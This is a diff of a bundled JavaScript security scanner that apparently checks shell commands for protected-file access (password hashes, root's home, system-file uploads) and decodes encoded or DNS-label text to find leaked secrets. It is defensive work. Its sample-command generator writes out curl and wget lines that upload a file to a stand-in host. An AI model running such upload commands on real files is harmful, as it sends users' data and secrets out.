|
4602
|
+
const sourceFlagName = (w) => {
|
|
4603
|
+
const names = shape.sourceFlags ?? [];
|
|
4604
|
+
if (w.startsWith("--")) {
|
|
4605
|
+
const name = w.includes("=") ? w.slice(0, w.indexOf("=")) : w;
|
|
4606
|
+
return names.find(
|
|
4607
|
+
(n) => n.startsWith("--") && (n === name || name.length >= 3 && n.startsWith(name))
|
|
4608
|
+
) ?? name;
|
|
4609
|
+
}
|
|
4610
|
+
const letters = w.slice(1);
|
|
4611
|
+
const owner = letters.split("").find((c) => (shape.valueLetters ?? names).includes(c));
|
|
4612
|
+
return `-${owner ?? letters[letters.length - 1]}`;
|
|
4613
|
+
};
|
|
4614
|
+
const operandFile = (flag, value) => shape.sourceOperand ? shape.sourceOperand(flag, value) : value;
|
|
4615
|
+
const inline = tail.filter((w) => w !== null && w.startsWith("-")).map((w) => flagInfo(w)).filter((f) => f.attached !== null && namesSource(f)).map((f) => operandFile(f.long ?? sourceFlagName(`-${f.letter}`), f.attached));
|
|
4197
4616
|
return [
|
|
4198
|
-
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => a.value),
|
|
4617
|
+
...args.filter((a) => !copyPastOptions(a) && operandOf(a, shape.sourceFlags, shape.valueLetters)).map((a) => operandFile(sourceFlagName(a.afterFlag), a.value)),
|
|
4199
4618
|
...inline
|
|
4200
|
-
];
|
|
4619
|
+
].filter((p) => p !== null);
|
|
4201
4620
|
}
|
|
4202
4621
|
case "archive":
|
|
4203
4622
|
src = archiveInputs(shape.archive, args, tail);
|
|
@@ -4251,6 +4670,8 @@ function sampleCopyCommand(verb, src) {
|
|
|
4251
4670
|
case "all":
|
|
4252
4671
|
return `${verb} -c ${src} > /tmp/n9-out`;
|
|
4253
4672
|
case "flagOperand":
|
|
4673
|
+
if (verb === "curl") return `curl -T ${src} https://host.invalid/upload`;
|
|
4674
|
+
if (verb === "wget") return `wget --post-file=${src} https://host.invalid/upload`;
|
|
4254
4675
|
return `${verb} -f ${src} -c n9`;
|
|
4255
4676
|
case "archive":
|
|
4256
4677
|
return shape.archive === "tar" ? `tar czf /tmp/n9-out.tgz ${src}` : shape.archive === "zip" ? `zip -r /tmp/n9-out.zip ${src}` : shape.archive === "ar" ? `ar rc /tmp/n9-out.a ${src}` : `7z a /tmp/n9-out.7z ${src}`;
|
|
@@ -5125,6 +5546,12 @@ function collectShellFileAccesses(command, context = {}) {
|
|
|
5125
5546
|
if (FS_READ_TOOLS.has(name) && name !== "dd") {
|
|
5126
5547
|
for (const p of readerPaths(words, head)) add("read", locate(p), state);
|
|
5127
5548
|
}
|
|
5549
|
+
if (["ls", "tree", "dir", "vdir"].includes(name)) {
|
|
5550
|
+
for (const token of args) {
|
|
5551
|
+
if (!token || token.value.startsWith("-")) continue;
|
|
5552
|
+
add("read", token, state, { listing: true });
|
|
5553
|
+
}
|
|
5554
|
+
}
|
|
5128
5555
|
if (name === "dd") {
|
|
5129
5556
|
for (const token of args)
|
|
5130
5557
|
if (token && /^(?:if|of)=/.test(token.value)) {
|
|
@@ -5340,6 +5767,8 @@ function collectShellFileAccesses(command, context = {}) {
|
|
|
5340
5767
|
function findActions2(tokens, words, head, state, nested, depth) {
|
|
5341
5768
|
const starts = findStartPoints(words, head).starts;
|
|
5342
5769
|
const roots = (starts.length ? starts : ["."]).slice(0, MAX_ALTERNATIVES);
|
|
5770
|
+
for (const start of starts.slice(0, MAX_ALTERNATIVES))
|
|
5771
|
+
add("read", { value: start }, state, { listing: true });
|
|
5343
5772
|
let nameFilter = null;
|
|
5344
5773
|
let pathFilter = null;
|
|
5345
5774
|
let shallow = false;
|
|
@@ -5775,6 +6204,10 @@ function hitsSystemDir(access, context, dirs = SYSTEM_DIRS) {
|
|
|
5775
6204
|
}
|
|
5776
6205
|
return false;
|
|
5777
6206
|
}
|
|
6207
|
+
function hitsRootHome(access, context) {
|
|
6208
|
+
if (context.homeDirs?.[0] === "/root") return false;
|
|
6209
|
+
return hitsSystemDir(access, context, ["/root"]);
|
|
6210
|
+
}
|
|
5778
6211
|
function uploadDirs(context) {
|
|
5779
6212
|
return context.homeDirs?.[0] === "/root" ? UPLOAD_SYSTEM_DIRS.filter((d) => d !== "/root") : UPLOAD_SYSTEM_DIRS;
|
|
5780
6213
|
}
|
|
@@ -5808,10 +6241,14 @@ function evaluateProtectedFileAccess(accesses, context, settings) {
|
|
|
5808
6241
|
"files.system-dirs",
|
|
5809
6242
|
"review-system-file-upload",
|
|
5810
6243
|
"Uploading a system file requires approval"
|
|
5811
|
-
] : !mutation && hits(access, PASSWORD_HASH_FILES, [], context) ? [
|
|
6244
|
+
] : !mutation && !access.listing && hits(access, PASSWORD_HASH_FILES, [], context) ? [
|
|
5812
6245
|
"files.password-hashes",
|
|
5813
6246
|
"review-password-hash-read",
|
|
5814
6247
|
"Reading system password hashes requires approval"
|
|
6248
|
+
] : !mutation && !access.upload && hitsRootHome(access, context) ? [
|
|
6249
|
+
"files.system-dirs",
|
|
6250
|
+
"review-root-home-read",
|
|
6251
|
+
"Reading the root account's home requires approval"
|
|
5815
6252
|
] : null;
|
|
5816
6253
|
} catch {
|
|
5817
6254
|
consider(incompleteFileVerdict(access.operation));
|
|
@@ -7965,7 +8402,7 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
|
|
|
7965
8402
|
};
|
|
7966
8403
|
for (const word of text.matchAll(/[a-zA-Z]+/g)) {
|
|
7967
8404
|
const index = indices.get(word[0]);
|
|
7968
|
-
if (index === void 0 || run.length &&
|
|
8405
|
+
if (index === void 0 || run.length && !/^[\s+]+$/.test(text.slice(previousEnd, word.index))) {
|
|
7969
8406
|
if (inspect()) return true;
|
|
7970
8407
|
if (budget.reasons.has("mnemonic-budget")) return false;
|
|
7971
8408
|
run = [];
|
|
@@ -7980,17 +8417,218 @@ function findMnemonic(text, budget = { hashes: 0, reasons: /* @__PURE__ */ new S
|
|
|
7980
8417
|
return inspect();
|
|
7981
8418
|
}
|
|
7982
8419
|
|
|
7983
|
-
// src/
|
|
7984
|
-
|
|
7985
|
-
|
|
7986
|
-
|
|
7987
|
-
|
|
7988
|
-
|
|
7989
|
-
|
|
7990
|
-
|
|
7991
|
-
|
|
7992
|
-
|
|
7993
|
-
|
|
8420
|
+
// src/dlp/secret-views.ts
|
|
8421
|
+
var SECRET_VIEW_LIMITS = {
|
|
8422
|
+
/** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
|
|
8423
|
+
maxDepth: 4,
|
|
8424
|
+
/** Nested views per parent view, and nested text per call; past either the call is reviewed. */
|
|
8425
|
+
maxNestedViewsPerLeaf: 64,
|
|
8426
|
+
maxNestedBytes: 1048576,
|
|
8427
|
+
/** Joined hostname-label text per call; past it the call is reviewed. */
|
|
8428
|
+
maxJoinedLabelBytes: 1048576,
|
|
8429
|
+
/** Decoded fragments are matched in batches of about this many characters. */
|
|
8430
|
+
batchCharacters: 65536,
|
|
8431
|
+
/** Only a valid DNS name has its labels joined. */
|
|
8432
|
+
maxHostLength: 253,
|
|
8433
|
+
maxLabelLength: 63,
|
|
8434
|
+
maxLabels: 127
|
|
8435
|
+
};
|
|
8436
|
+
function newSecretViewBudget() {
|
|
8437
|
+
return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
|
|
8438
|
+
}
|
|
8439
|
+
function textBytes(buf) {
|
|
8440
|
+
if (buf.length < 16) return null;
|
|
8441
|
+
const text = buf.toString("utf8");
|
|
8442
|
+
if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
|
|
8443
|
+
return text;
|
|
8444
|
+
}
|
|
8445
|
+
function percentOnce(text) {
|
|
8446
|
+
return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
|
|
8447
|
+
try {
|
|
8448
|
+
return decodeURIComponent(run);
|
|
8449
|
+
} catch {
|
|
8450
|
+
return run.replace(
|
|
8451
|
+
/%([a-f0-9]{2})/gi,
|
|
8452
|
+
(_, h) => String.fromCharCode(parseInt(h, 16))
|
|
8453
|
+
);
|
|
8454
|
+
}
|
|
8455
|
+
});
|
|
8456
|
+
}
|
|
8457
|
+
function* wrappedBase64(text) {
|
|
8458
|
+
if (!text.includes("\n")) return;
|
|
8459
|
+
const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
|
|
8460
|
+
let run = [];
|
|
8461
|
+
let width = 0;
|
|
8462
|
+
const flush = function* () {
|
|
8463
|
+
if (run.length >= 2) yield run.join("");
|
|
8464
|
+
run = [];
|
|
8465
|
+
width = 0;
|
|
8466
|
+
};
|
|
8467
|
+
for (const raw of text.split("\n")) {
|
|
8468
|
+
const line = raw.trim();
|
|
8469
|
+
const full = line.length >= 16 && word.test(line) && !line.includes("=");
|
|
8470
|
+
if (full && (!run.length || line.length === width)) {
|
|
8471
|
+
run.push(line);
|
|
8472
|
+
width = line.length;
|
|
8473
|
+
continue;
|
|
8474
|
+
}
|
|
8475
|
+
if (run.length && word.test(line) && line.length >= 2 && line.length <= width) {
|
|
8476
|
+
run.push(line);
|
|
8477
|
+
yield* flush();
|
|
8478
|
+
continue;
|
|
8479
|
+
}
|
|
8480
|
+
yield* flush();
|
|
8481
|
+
if (full) {
|
|
8482
|
+
run.push(line);
|
|
8483
|
+
width = line.length;
|
|
8484
|
+
}
|
|
8485
|
+
}
|
|
8486
|
+
yield* flush();
|
|
8487
|
+
}
|
|
8488
|
+
function* encodedRegions(text, budget) {
|
|
8489
|
+
yield [text, false];
|
|
8490
|
+
for (const block of wrappedBase64(text)) yield [block, false];
|
|
8491
|
+
for (const match of text.matchAll(/(?<![a-z0-9+.-])[a-z][a-z0-9+.-]{0,30}:\/\/[^\s<>"']+/gi)) {
|
|
8492
|
+
try {
|
|
8493
|
+
new URL(match[0]);
|
|
8494
|
+
} catch {
|
|
8495
|
+
continue;
|
|
8496
|
+
}
|
|
8497
|
+
const parts = match[0].match(
|
|
8498
|
+
/^[a-z][a-z0-9+.-]*:\/\/([^/?#]*)([^?#]*)(?:\?([^#]*))?(?:#(.*))?$/i
|
|
8499
|
+
);
|
|
8500
|
+
if (!parts) continue;
|
|
8501
|
+
const host2 = parts[1].slice(parts[1].lastIndexOf("@") + 1).replace(/:\d+$/, "");
|
|
8502
|
+
const regions = [
|
|
8503
|
+
parts[1],
|
|
8504
|
+
...host2.split("."),
|
|
8505
|
+
...parts[2].split("/"),
|
|
8506
|
+
...(parts[3] ?? "").split("&"),
|
|
8507
|
+
parts[4] ?? ""
|
|
8508
|
+
];
|
|
8509
|
+
for (const region of regions) if (region) yield [region, false];
|
|
8510
|
+
const labels = host2.split(".");
|
|
8511
|
+
if (host2.length > SECRET_VIEW_LIMITS.maxHostLength || labels.length > SECRET_VIEW_LIMITS.maxLabels || !labels.every((l) => l.length >= 1 && l.length <= SECRET_VIEW_LIMITS.maxLabelLength))
|
|
8512
|
+
continue;
|
|
8513
|
+
for (let start = 0; start < labels.length; start++) {
|
|
8514
|
+
let joined = labels[start];
|
|
8515
|
+
for (let end = start + 1; end < Math.min(labels.length, start + 8); end++) {
|
|
8516
|
+
const run = labels.slice(start, end + 1);
|
|
8517
|
+
if (!run.every((s) => /^[a-f0-9]{2,}$/i.test(s)) && !run.every((s) => /^[A-Z2-7]{4,}$/i.test(s)))
|
|
8518
|
+
break;
|
|
8519
|
+
joined += labels[end];
|
|
8520
|
+
if (joined.length < 16) continue;
|
|
8521
|
+
budget.joinedLabelBytes += joined.length;
|
|
8522
|
+
if (budget.joinedLabelBytes > SECRET_VIEW_LIMITS.maxJoinedLabelBytes) {
|
|
8523
|
+
budget.reasons.add("decode-labels");
|
|
8524
|
+
return;
|
|
8525
|
+
}
|
|
8526
|
+
yield [joined, true];
|
|
8527
|
+
}
|
|
8528
|
+
}
|
|
8529
|
+
}
|
|
8530
|
+
}
|
|
8531
|
+
function decodeBase32(raw) {
|
|
8532
|
+
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
|
|
8533
|
+
const out = [];
|
|
8534
|
+
let bits = 0;
|
|
8535
|
+
let accumulator = 0;
|
|
8536
|
+
for (const c of raw.toUpperCase()) {
|
|
8537
|
+
accumulator = accumulator << 5 | alphabet.indexOf(c);
|
|
8538
|
+
bits += 5;
|
|
8539
|
+
if (bits >= 8) {
|
|
8540
|
+
bits -= 8;
|
|
8541
|
+
out.push(accumulator >> bits);
|
|
8542
|
+
accumulator &= (1 << bits) - 1;
|
|
8543
|
+
}
|
|
8544
|
+
}
|
|
8545
|
+
if ([1, 3, 6].includes(raw.length % 8) || accumulator !== 0) return null;
|
|
8546
|
+
return Buffer.from(out);
|
|
8547
|
+
}
|
|
8548
|
+
function* decodedCandidates(text, budget) {
|
|
8549
|
+
const stripped = stripInvisible(text);
|
|
8550
|
+
if (stripped !== text) yield ["invisibles", stripped];
|
|
8551
|
+
if (/%[a-f0-9]{2}/i.test(text)) yield ["percent", percentOnce(text)];
|
|
8552
|
+
const families = [
|
|
8553
|
+
["base64", /[A-Za-z0-9+/_-]{22,}={0,2}/g],
|
|
8554
|
+
["hex", /\b(?:[a-f0-9]{2}){16,}\b/gi],
|
|
8555
|
+
["hex-escaped", /(?:\\x[a-f0-9]{2}){16,}/gi],
|
|
8556
|
+
["hex-delimited", /\b[a-f0-9]{2}(?:-[a-f0-9]{2}){15,}\b/gi],
|
|
8557
|
+
["base32", /\b[A-Z2-7]{26,}\b/gi]
|
|
8558
|
+
];
|
|
8559
|
+
for (const [region, joined] of encodedRegions(text, budget)) {
|
|
8560
|
+
if (joined) yield ["dns-labels", region];
|
|
8561
|
+
for (const [kind, re] of families) {
|
|
8562
|
+
for (const match of region.matchAll(re)) {
|
|
8563
|
+
const raw = match[0];
|
|
8564
|
+
let buf;
|
|
8565
|
+
if (kind === "base64") {
|
|
8566
|
+
if (/^[a-f0-9]+$/i.test(raw)) continue;
|
|
8567
|
+
const normalized = raw.replace(/-/g, "+").replace(/_/g, "/");
|
|
8568
|
+
const unpadded = normalized.replace(/=+$/, "");
|
|
8569
|
+
if (unpadded.length % 4 === 1 || raw.includes("=") && raw.length % 4 !== 0) continue;
|
|
8570
|
+
buf = Buffer.from(normalized, "base64");
|
|
8571
|
+
if (buf.toString("base64").replace(/=+$/, "") !== unpadded) continue;
|
|
8572
|
+
} else if (kind === "base32") {
|
|
8573
|
+
const decoded2 = decodeBase32(raw);
|
|
8574
|
+
if (!decoded2) continue;
|
|
8575
|
+
buf = decoded2;
|
|
8576
|
+
} else {
|
|
8577
|
+
buf = Buffer.from(raw.replace(/\\x|-/gi, ""), "hex");
|
|
8578
|
+
}
|
|
8579
|
+
const decoded = textBytes(buf);
|
|
8580
|
+
if (decoded !== null) yield [kind, decoded];
|
|
8581
|
+
}
|
|
8582
|
+
}
|
|
8583
|
+
}
|
|
8584
|
+
}
|
|
8585
|
+
function secretViews(text, budget) {
|
|
8586
|
+
const seen = /* @__PURE__ */ new Set([text]);
|
|
8587
|
+
const out = [];
|
|
8588
|
+
let frontier = [{ text, transforms: [] }];
|
|
8589
|
+
for (let depth = 1; depth <= SECRET_VIEW_LIMITS.maxDepth; depth++) {
|
|
8590
|
+
const next = [];
|
|
8591
|
+
for (const parent of frontier) {
|
|
8592
|
+
let perLeaf = 0;
|
|
8593
|
+
for (const [kind, decoded] of decodedCandidates(parent.text, budget)) {
|
|
8594
|
+
if (seen.has(decoded)) continue;
|
|
8595
|
+
seen.add(decoded);
|
|
8596
|
+
const normalizing = kind === "invisibles" || kind === "percent";
|
|
8597
|
+
if (depth >= 2 && !normalizing) {
|
|
8598
|
+
budget.nestedBytes += Buffer.byteLength(decoded);
|
|
8599
|
+
if (++perLeaf > SECRET_VIEW_LIMITS.maxNestedViewsPerLeaf || budget.nestedBytes > SECRET_VIEW_LIMITS.maxNestedBytes) {
|
|
8600
|
+
budget.reasons.add("decode-nested");
|
|
8601
|
+
return out;
|
|
8602
|
+
}
|
|
8603
|
+
}
|
|
8604
|
+
const view = { text: decoded, transforms: [...parent.transforms, kind] };
|
|
8605
|
+
out.push(view);
|
|
8606
|
+
next.push(view);
|
|
8607
|
+
}
|
|
8608
|
+
}
|
|
8609
|
+
frontier = next;
|
|
8610
|
+
if (!frontier.length) return out;
|
|
8611
|
+
}
|
|
8612
|
+
for (const view of frontier) {
|
|
8613
|
+
if (!decodedCandidates(view.text, budget).next().done) {
|
|
8614
|
+
budget.reasons.add("decode-nested");
|
|
8615
|
+
break;
|
|
8616
|
+
}
|
|
8617
|
+
}
|
|
8618
|
+
return out;
|
|
8619
|
+
}
|
|
8620
|
+
|
|
8621
|
+
// src/scan/checksums.ts
|
|
8622
|
+
import { createHash as createHash2 } from "crypto";
|
|
8623
|
+
function validateLuhn(digits) {
|
|
8624
|
+
if (!/^\d+$/.test(digits)) return false;
|
|
8625
|
+
if (digits.length < 12) return false;
|
|
8626
|
+
if (!/[1-9]/.test(digits)) return false;
|
|
8627
|
+
let sum = 0;
|
|
8628
|
+
let double = false;
|
|
8629
|
+
for (let i = digits.length - 1; i >= 0; i--) {
|
|
8630
|
+
let d = digits.charCodeAt(i) - 48;
|
|
8631
|
+
if (double) {
|
|
7994
8632
|
d *= 2;
|
|
7995
8633
|
if (d > 9) d -= 9;
|
|
7996
8634
|
}
|
|
@@ -7999,6 +8637,16 @@ function validateLuhn(digits) {
|
|
|
7999
8637
|
}
|
|
8000
8638
|
return sum % 10 === 0;
|
|
8001
8639
|
}
|
|
8640
|
+
function validateAbaRouting(digits) {
|
|
8641
|
+
if (!/^\d{9}$/.test(digits)) return false;
|
|
8642
|
+
const prefix = Number(digits.slice(0, 2));
|
|
8643
|
+
const assigned = prefix <= 12 || prefix >= 21 && prefix <= 32 || prefix >= 61 && prefix <= 72 || prefix === 80;
|
|
8644
|
+
if (!assigned) return false;
|
|
8645
|
+
const weights = [3, 7, 1, 3, 7, 1, 3, 7, 1];
|
|
8646
|
+
let sum = 0;
|
|
8647
|
+
for (let i = 0; i < 9; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
|
|
8648
|
+
return sum % 10 === 0;
|
|
8649
|
+
}
|
|
8002
8650
|
var IBAN_LENGTH = {
|
|
8003
8651
|
AD: 24,
|
|
8004
8652
|
AE: 23,
|
|
@@ -8091,6 +8739,29 @@ var IBAN_LENGTH = {
|
|
|
8091
8739
|
XK: 20,
|
|
8092
8740
|
YE: 30
|
|
8093
8741
|
};
|
|
8742
|
+
var IBAN_BBAN_SHAPE = {
|
|
8743
|
+
AT: /^\d{16}$/,
|
|
8744
|
+
BE: /^\d{12}$/,
|
|
8745
|
+
CH: /^\d{5}[A-Z0-9]{12}$/,
|
|
8746
|
+
CZ: /^\d{20}$/,
|
|
8747
|
+
DE: /^\d{18}$/,
|
|
8748
|
+
DK: /^\d{14}$/,
|
|
8749
|
+
ES: /^\d{20}$/,
|
|
8750
|
+
FI: /^\d{14}$/,
|
|
8751
|
+
FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
|
|
8752
|
+
GB: /^[A-Z]{4}\d{14}$/,
|
|
8753
|
+
HU: /^\d{24}$/,
|
|
8754
|
+
IE: /^[A-Z]{4}\d{14}$/,
|
|
8755
|
+
IL: /^\d{19}$/,
|
|
8756
|
+
IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
|
|
8757
|
+
LU: /^\d{3}[A-Z0-9]{13}$/,
|
|
8758
|
+
NL: /^[A-Z]{4}\d{10}$/,
|
|
8759
|
+
NO: /^\d{11}$/,
|
|
8760
|
+
PL: /^\d{24}$/,
|
|
8761
|
+
PT: /^\d{21}$/,
|
|
8762
|
+
RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
|
|
8763
|
+
SE: /^\d{20}$/
|
|
8764
|
+
};
|
|
8094
8765
|
function validateIban(raw) {
|
|
8095
8766
|
const s = raw.replace(/[ -]/g, "").toUpperCase();
|
|
8096
8767
|
if (!/^[A-Z]{2}\d{2}/.test(s)) return false;
|
|
@@ -8098,6 +8769,8 @@ function validateIban(raw) {
|
|
|
8098
8769
|
if (want === void 0 || s.length < want) return false;
|
|
8099
8770
|
const iban = s.slice(0, want);
|
|
8100
8771
|
if (!/^[A-Z0-9]+$/.test(iban)) return false;
|
|
8772
|
+
const shape = IBAN_BBAN_SHAPE[iban.slice(0, 2)];
|
|
8773
|
+
if (shape && !shape.test(iban.slice(4))) return false;
|
|
8101
8774
|
const rearranged = iban.slice(4) + iban.slice(0, 4);
|
|
8102
8775
|
let mod = 0;
|
|
8103
8776
|
for (const ch of rearranged) {
|
|
@@ -8214,138 +8887,158 @@ function validateCask(raw) {
|
|
|
8214
8887
|
const second = b64urlIndex(s[tsAt + 5]);
|
|
8215
8888
|
return month <= 11 && day <= 30 && hour <= 23 && minute <= 59 && second <= 59;
|
|
8216
8889
|
}
|
|
8217
|
-
|
|
8218
|
-
|
|
8219
|
-
|
|
8220
|
-
|
|
8221
|
-
|
|
8890
|
+
function plausibleDate(mm, dd) {
|
|
8891
|
+
const m = Number(mm);
|
|
8892
|
+
const d = Number(dd);
|
|
8893
|
+
return m >= 1 && m <= 12 && d >= 1 && d <= 31;
|
|
8894
|
+
}
|
|
8895
|
+
var CF_ODD = {};
|
|
8896
|
+
var CF_EVEN = {};
|
|
8897
|
+
{
|
|
8898
|
+
const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
8899
|
+
const odd = [
|
|
8900
|
+
1,
|
|
8901
|
+
0,
|
|
8902
|
+
5,
|
|
8903
|
+
7,
|
|
8904
|
+
9,
|
|
8905
|
+
13,
|
|
8906
|
+
15,
|
|
8907
|
+
17,
|
|
8908
|
+
19,
|
|
8909
|
+
21,
|
|
8910
|
+
1,
|
|
8911
|
+
0,
|
|
8912
|
+
5,
|
|
8913
|
+
7,
|
|
8914
|
+
9,
|
|
8915
|
+
13,
|
|
8916
|
+
15,
|
|
8917
|
+
17,
|
|
8918
|
+
19,
|
|
8919
|
+
21,
|
|
8920
|
+
2,
|
|
8921
|
+
4,
|
|
8922
|
+
18,
|
|
8923
|
+
20,
|
|
8924
|
+
11,
|
|
8925
|
+
3,
|
|
8926
|
+
6,
|
|
8927
|
+
8,
|
|
8928
|
+
12,
|
|
8929
|
+
14,
|
|
8930
|
+
16,
|
|
8931
|
+
10,
|
|
8932
|
+
22,
|
|
8933
|
+
25,
|
|
8934
|
+
24,
|
|
8935
|
+
23
|
|
8936
|
+
];
|
|
8937
|
+
for (let i = 0; i < alphabet.length; i++) {
|
|
8938
|
+
const c = alphabet[i];
|
|
8939
|
+
CF_ODD[c] = odd[i];
|
|
8940
|
+
CF_EVEN[c] = i < 10 ? i : i - 10;
|
|
8941
|
+
}
|
|
8222
8942
|
}
|
|
8223
|
-
|
|
8224
|
-
|
|
8225
|
-
|
|
8943
|
+
function validateCodiceFiscale(raw) {
|
|
8944
|
+
const s = raw.toUpperCase();
|
|
8945
|
+
if (!/^[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]$/.test(s)) return false;
|
|
8946
|
+
let sum = 0;
|
|
8947
|
+
for (let i = 0; i < 15; i++) sum += (i % 2 === 0 ? CF_ODD : CF_EVEN)[s[i]];
|
|
8948
|
+
return s[15] === String.fromCharCode(65 + sum % 26);
|
|
8226
8949
|
}
|
|
8227
|
-
var
|
|
8228
|
-
|
|
8229
|
-
|
|
8230
|
-
\
|
|
8231
|
-
|
|
8232
|
-
|
|
8233
|
-
|
|
8234
|
-
|
|
8235
|
-
|
|
8236
|
-
|
|
8237
|
-
|
|
8238
|
-
|
|
8239
|
-
|
|
8240
|
-
|
|
8241
|
-
|
|
8242
|
-
|
|
8243
|
-
|
|
8244
|
-
|
|
8245
|
-
|
|
8246
|
-
|
|
8247
|
-
|
|
8248
|
-
|
|
8249
|
-
|
|
8250
|
-
|
|
8251
|
-
|
|
8252
|
-
|
|
8253
|
-
|
|
8254
|
-
|
|
8255
|
-
\u0420: "P",
|
|
8256
|
-
\u0421: "C",
|
|
8257
|
-
\u0422: "T",
|
|
8258
|
-
\u0425: "X",
|
|
8259
|
-
\u0405: "S",
|
|
8260
|
-
\u0406: "I",
|
|
8261
|
-
\u0408: "J",
|
|
8262
|
-
\u04AE: "Y",
|
|
8263
|
-
"\u051A": "Q",
|
|
8264
|
-
"\u051C": "W",
|
|
8265
|
-
// Greek lowercase
|
|
8266
|
-
\u03B1: "a",
|
|
8267
|
-
\u03BF: "o",
|
|
8268
|
-
\u03BD: "v",
|
|
8269
|
-
\u03B5: "e",
|
|
8270
|
-
\u03B9: "i",
|
|
8271
|
-
\u03BA: "k",
|
|
8272
|
-
\u03C1: "p",
|
|
8273
|
-
\u03C4: "t",
|
|
8274
|
-
\u03C5: "u",
|
|
8275
|
-
\u03C7: "x",
|
|
8276
|
-
\u03B3: "y",
|
|
8277
|
-
// Greek uppercase
|
|
8278
|
-
\u0391: "A",
|
|
8279
|
-
\u0392: "B",
|
|
8280
|
-
\u0395: "E",
|
|
8281
|
-
\u0396: "Z",
|
|
8282
|
-
\u0397: "H",
|
|
8283
|
-
\u0399: "I",
|
|
8284
|
-
\u039A: "K",
|
|
8285
|
-
\u039C: "M",
|
|
8286
|
-
\u039D: "N",
|
|
8287
|
-
\u039F: "O",
|
|
8288
|
-
\u03A1: "P",
|
|
8289
|
-
\u03A4: "T",
|
|
8290
|
-
\u03A5: "Y",
|
|
8291
|
-
\u03A7: "X"
|
|
8292
|
-
};
|
|
8293
|
-
var HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
8294
|
-
function foldHomoglyphs(text) {
|
|
8295
|
-
return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
|
|
8950
|
+
var SPANISH_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
|
|
8951
|
+
function validateSpanishId(raw) {
|
|
8952
|
+
const s = raw.toUpperCase();
|
|
8953
|
+
const m = /^([XYZ]?)(\d{7,8})([A-Z])$/.exec(s);
|
|
8954
|
+
if (!m) return false;
|
|
8955
|
+
if (m[1] === "" && m[2].length !== 8 || m[1] !== "" && m[2].length !== 7) return false;
|
|
8956
|
+
const digits = (m[1] === "" ? "" : String("XYZ".indexOf(m[1]))) + m[2];
|
|
8957
|
+
return SPANISH_LETTERS[Number(digits) % 23] === m[3];
|
|
8958
|
+
}
|
|
8959
|
+
function validatePesel(raw) {
|
|
8960
|
+
if (!/^\d{11}$/.test(raw)) return false;
|
|
8961
|
+
const month = Number(raw.slice(2, 4)) % 20;
|
|
8962
|
+
if (!plausibleDate(String(month).padStart(2, "0"), raw.slice(4, 6))) return false;
|
|
8963
|
+
const weights = [1, 3, 7, 9, 1, 3, 7, 9, 1, 3];
|
|
8964
|
+
let sum = 0;
|
|
8965
|
+
for (let i = 0; i < 10; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
|
|
8966
|
+
return (10 - sum % 10) % 10 === raw.charCodeAt(10) - 48;
|
|
8967
|
+
}
|
|
8968
|
+
function validateCnp(raw) {
|
|
8969
|
+
if (!/^[1-9]\d{12}$/.test(raw)) return false;
|
|
8970
|
+
if (!plausibleDate(raw.slice(3, 5), raw.slice(5, 7))) return false;
|
|
8971
|
+
const county = Number(raw.slice(7, 9));
|
|
8972
|
+
if (!(county >= 1 && county <= 52 || county === 70 || county === 71)) return false;
|
|
8973
|
+
const key = "279146358279";
|
|
8974
|
+
let sum = 0;
|
|
8975
|
+
for (let i = 0; i < 12; i++) sum += (raw.charCodeAt(i) - 48) * (key.charCodeAt(i) - 48);
|
|
8976
|
+
const r = sum % 11;
|
|
8977
|
+
return (r === 10 ? 1 : r) === raw.charCodeAt(12) - 48;
|
|
8296
8978
|
}
|
|
8297
|
-
function
|
|
8298
|
-
|
|
8979
|
+
function validateNir(raw) {
|
|
8980
|
+
const s = raw.replace(/\s+/g, "").toUpperCase();
|
|
8981
|
+
const m = /^([12]\d{2}(0[1-9]|1[0-2]|[2-9]\d)(\d{2}|2A|2B)\d{6})(\d{2})$/.exec(s);
|
|
8982
|
+
if (!m) return false;
|
|
8983
|
+
const body = m[1].replace("2A", "19").replace("2B", "18");
|
|
8984
|
+
const key = Number(m[4]);
|
|
8985
|
+
return key >= 1 && key <= 97 && 97 - Number(body) % 97 === key;
|
|
8299
8986
|
}
|
|
8300
|
-
|
|
8301
|
-
|
|
8302
|
-
|
|
8303
|
-
|
|
8304
|
-
let
|
|
8305
|
-
for (
|
|
8306
|
-
|
|
8307
|
-
}
|
|
8308
|
-
return printable / buf.length >= 0.9;
|
|
8987
|
+
function validateSwissAhv(raw) {
|
|
8988
|
+
const m = /^756\.(\d{4})\.(\d{4})\.(\d{2})$/.exec(raw);
|
|
8989
|
+
if (!m) return false;
|
|
8990
|
+
const digits = "756" + m[1] + m[2] + m[3];
|
|
8991
|
+
let sum = 0;
|
|
8992
|
+
for (let i = 0; i < 12; i++) sum += (digits.charCodeAt(i) - 48) * (i % 2 === 0 ? 1 : 3);
|
|
8993
|
+
return (10 - sum % 10) % 10 === digits.charCodeAt(12) - 48;
|
|
8309
8994
|
}
|
|
8310
|
-
|
|
8311
|
-
|
|
8312
|
-
|
|
8313
|
-
|
|
8314
|
-
|
|
8315
|
-
|
|
8316
|
-
|
|
8317
|
-
|
|
8318
|
-
|
|
8319
|
-
|
|
8320
|
-
return out;
|
|
8995
|
+
function validateSwissUid(raw) {
|
|
8996
|
+
const m = /^CHE-(\d{3})\.(\d{3})\.(\d{3})$/i.exec(raw);
|
|
8997
|
+
if (!m) return false;
|
|
8998
|
+
